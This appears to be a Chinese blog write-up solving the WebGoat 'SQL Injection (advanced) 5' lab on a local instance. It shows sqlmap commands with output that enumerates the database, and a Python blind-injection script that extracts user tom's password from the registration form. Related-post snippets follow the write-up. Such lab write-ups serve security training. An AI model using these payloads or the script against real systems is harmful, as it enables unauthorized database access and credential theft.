1. 程式人生 > >WebGoat---Injection Flaws---SQL Injection (advanced) 5 解法

WebGoat---Injection Flaws---SQL Injection (advanced) 5 解法

經過測試,發現註冊時的使用者名稱處存在布林盲注,將如下內容儲存為request.txt,開始用sqlmap

PUT http://127.0.0.1:8080/WebGoat/SqlInjection/challenge HTTP/1.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Referer: http://127.0.0.1:8080/WebGoat/start.mvc
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 84
Cookie: JSESSIONID=61E3648728C46675C274BC0980B448BE
Connection: keep-alive
Host: 127.0.0.1:8080

username_reg=hello&email_reg=1%40q.com&password_reg=world&confirm_password_reg=world

要注意的是Cookie有時限
執行如下命令:

# 探測資料庫型別,結果為:HSQLDB,並且建議加--no-cast引數
sqlmap -r request.txt -p username_reg

# 查資料庫,獲取3個數據庫名:
# [*] INFORMATION_SCHEMA
# [*] PUBLIC
# [*] SYSTEM_LOBS
sqlmap -r request.txt -p username_reg --dbs --no-cast

# 查PUBLIC資料庫,選擇爆破,執行緒選最大的10,得到6張表
# Database: PUBLIC
# [6 tables]
# +--------------+
# | auth         |
# | employee     |
# | roles        |
# | servers      |
# | transactions |
# | user_data    |
# +--------------+
sqlmap -r request.txt -p username_reg -D PUBLIC --tables --no-cast

# 獲取user_data表的欄位
# Database: PUBLIC
# Table: USER_DATA
# [10 columns]
# +-------------+-------------+
# | Column      | Type        |
# +-------------+-------------+
# | cc_number   | non-numeric |
# | cc_type     | non-numeric |
# | cookie      | non-numeric |
# | email       | non-numeric |
# | first_name  | non-numeric |
# | last_name   | non-numeric |
# | login_count | numeric     |
# | password    | non-numeric |
# | today       | numeric     |
# | userid      | numeric     |
# +-------------+-------------+
sqlmap -r request.txt -p username_reg -D PUBLIC -T user_data --columns --no-cast

# 最後一步出錯了,,,

通過看原始碼發現,自己連正確的表都沒有注出來,sqlmap就不指望了,寫指令碼跑吧

# coding:utf8

"""
True: already exists please try to register with a different username.
False: created, please proceed to the login page.

我解這個問題其實是在蒙,用sqlmap爆破發現register的username_reg有bool盲注,然後用sqlmap一通,知道一個表中有password欄位,然後sqlmap再往下就出錯了,沒辦法,寫指令碼吧,已經知道了欄位,就直接盲注欄位,老是不對,看原始碼才知道使用者名稱原來是tom,小寫的t,這樣就得到密碼了

但其實看原始碼之後才發現,sqlmap搞出來的表和我要注入的表是不一樣的,就這樣吧,誤打誤撞出來了

原始碼位置: WebGoat/webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/plugin/advanced/SqlInjectionChallenge.java
"""
import requests def get_status(content): if 'already exists please try to register with a different username.' in content: return 1 elif 'created, please proceed to the login page.' in content: return 0 else: return -1 url = 'http://127.0.0.1:8080/WebGoat/SqlInjection/challenge' headers = { 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0', 'Accept': '*/*', 'Accept-Language': 'en-US,en;q=0.5', 'Referer': 'http://127.0.0.1:8080/WebGoat/start.mvc', 'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8', 'X-Requested-With': 'XMLHttpRequest', 'Content-Length': '85', 'Cookie': 'JSESSIONID=F15EA9332EAE5CFBD726887EA270BC9C', 'Connection': 'keep-alive', 'Host': '127.0.0.1:8080', } data = { 'username_reg': 'a', 'email_reg': '[email protected]', 'password_reg': 'a', 'confirm_password_reg': 'a', } s = requests.session() tom_pass_len = 0 for i in range(2, 100): data['username_reg'] = "tom' AND LENGTH(password)=%d AND '1'='1" % i res = s.put(url, headers=headers, data=data) if get_status(res.content) == -1: print 'Error' print res.content exit(0) elif get_status(res.content) == 0: continue elif get_status(res.content) == 1: print 'password len: %d' % i tom_pass_len = i break tom_password = ['*'] * tom_pass_len common_chars = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ' for i in range(1, tom_pass_len+1): for c in common_chars: data['username_reg'] = "tom' AND SUBSTRING(password, %d, 1)='%s" % (i, c) res = s.put(url, headers=headers, data=data) if get_status(res.content) == -1: print 'Error' print res.content exit(0) elif get_status(res.content) == 0: continue elif get_status(res.content) == 1: print c tom_password[i-1] = c break print 'tom_password: ', ''.join(tom_password)

相關推薦

WebGoat---Injection Flaws---SQL Injection (advanced) 5 解法

經過測試,發現註冊時的使用者名稱處存在布林盲注,將如下內容儲存為request.txt,開始用sqlmap : PUT http://127.0.0.1:8080/WebGoat/SqlInjection/challenge HTTP/1.1 User-Agen

wordpress plugins sql injection

targe bmi put pac gin alt name plain target <*form method="post" action="http://***/wp-admin/admin-ajax.php?action=get_upcp_subcategor

MySQL SQL Injection Cheat Sheet

index rem not passwd tinc comm cas ret loading MySQL SQL Injection Cheat Sheet Some useful syntax reminders for SQL Injection into MySQ

新手指南:DVWA-1.9全級別教程之SQL Injection

escape index.php 偽造 掌握 post 數字型註入 初學者 hsl 攻擊 *本文原創作者:lonehand,轉載須註明來自FreeBuf.COM 目前,最新的DVWA已經更新到1.9版本(http://www.dvwa.co.uk/),而網上的教程大多停

【DVWA】【SQL Injection(Blind)】SQL盲註 Low Medium High Impossible

submit strong size users bsp amp select dmi mit 1.初級篇 Low.php 加單引號提交 http://localhost/DVWA-master/vulnerabilities/sqli_blind/?id=1‘&am

sql註入習題/ctfs.me sql injection

tro 沒有 mat ike 密碼 還原 rod space sset sql註入習題 來源於ctfs.me的一道習題,實在做不出來,google了wp,發現這道題目是引自於其他習題集了,而且原題目是有源碼的。。。於是趁機把他的題目做了一遍 level1 這道題目其實沒有源

ecshop 2.x 3.x sql injection/rce payload

數據 file creat 版本 獲取數據 -s 公開 ant shell 首先,感謝ringk3y的分析:http://ringk3y.com/2018/08/31/ec ... %E6%89%A7%E8%A1%8C/ 大家跟一遍代碼基本上都能弄明白漏洞的原理,整個漏洞的

PentesterLab-From SQL Injection to Shell: PostgreSQL edition

反彈 injection 無法 www 圖片 img ase 分享圖片 類型 一、打開頁面,隨便點了幾下,返現和From SQL Injection to Shell差不多,直奔主題開始註入   由於PostgreSQL與MySQL不同,幾個關註點需要註意下 二、

DVWA —— SQL Injection分析

一.Low 1.Low等級的php程式碼 發現沒有任何防禦 2.直接order by order by 3時錯誤 order by 2時正確 3.查詢資料庫   'union select database(),2#   得到資料庫名為dvwa 4.

Error querying database. Cause: java.sql.SQLException: sql injection violation, syntax error: ERROR

異常:### Error querying database. Cause: java.sql.SQLException: sql injection violation, syntax error: ERROR. pos 85, line 2, column 48, token WHE

DWVA----sql injection----sqlmap的使用

LOW級別 step1 測試注入點 首先我們一般都會使用 sqlmap.py -u "………………"的指令來進行嘗試 結果卻發現了報錯,表示沒有可注入點。我們來找一下不出結果的原因 首先,我們可以確認low級別的必定存在注入點。因此我們排除網站沒有注入點這個原因

NCTF sql injection 4

頁面僅有一句話 檢視原始碼,有如下資訊: <!-- #GOAL: login as admin,then get the flag; error_reporting(0); require 'd

SQL Injection繞過技巧

來源:https://www.cnblogs.com/joy-nick/p/5774462.html0x00 sql注入的原因sql注入的原因,表面上說是因為 拼接字串,構成sql語句,沒有使用 sql語句預編譯,繫結變數。但是更深層次的原因是,將使用者輸入的字串,當成了 “

網路攻擊技術:SQL Injectionsql注入) 網路攻擊技術開篇——SQL Injection

網路攻擊技術開篇——SQL Injection   1.1.1 摘要       日前,國內最大的程式設計師社群CSDN網站的使用者資料庫被黑客公開發布,600萬用戶的登入名及密碼被公開洩露,隨後又有多家網站的使用者密碼

DVWA ---SQL Injection

手工注入的一般步驟: 1.判斷是否存在注入,注入是字元型還是數字型 2.猜解SQL查詢語句中的欄位數 3.確定顯示的欄位順序 4.獲取當前資料庫 5.獲取資料庫中的表 6.獲取表中的欄位名 7.下載資料 dvw

MySql+Mybatis+Druid之SqlException:sql injection violation, multi-statement not allow

接上一篇部落格:《資料庫優化之MyBatis批量刪除、更新》 Druid是阿里巴巴,開發的一個數據庫連線池工具,經歷過多次雙十一的洗禮,它的效能已經能夠滿足國內大多數專案的需求。 異常一: 專案中啟用Druid的統計管理,在執行批量修改時:提示Error updating datab

SQL injection 1: 如何從資料庫中獲取想要獲得的內容?

    由於我們的專案用到了資料庫,還有JSP頁面,因此先關注一些SQL injection等技術,以便找出應對的辦法。    以下是整理的網上的一些資料: 如何從資料庫中獲取想要獲得的內容? http://www.cz88.net/2004/7-6/164357.htm學習

Hacking Oracle with Sql Injection

0x0 前言 0x1 資訊刺探  0x2 許可權提升  0x3 執行命令  0x4 檔案系統  0x5 訪問網路  0x6 總結 0x7 參考文獻 0x0 前言 本文主要討論如何通過一個sql inject 來最大限度的取得各種資訊和許可權,文章絕大多數技術都是前人提出,膜拜各位牛人 的

SQL injection on DVWA (Low Level)

首先看看輸入正常的ID得到什麼結果: 當輸入1‘ 時: 說明了這個id的型別是個string,資料庫是MySQL 當輸入1’ and '1'='1時,and後面的1=1是個永真式: 當輸入1‘ or '1'='1是,這個式子是個永真式,返回所有結果: 確定資

Blind SQL Injection on DVWA(Medium Level)

Vulnerability: SQL Injection (Blind)與前面的Vulnerability: SQL Injection這兩個頁面的差別就在於有沒有有用的錯誤資訊或者我們已經習慣的反饋內容。 本文的終極任務是獲得user和password。 1.簡單的輸入測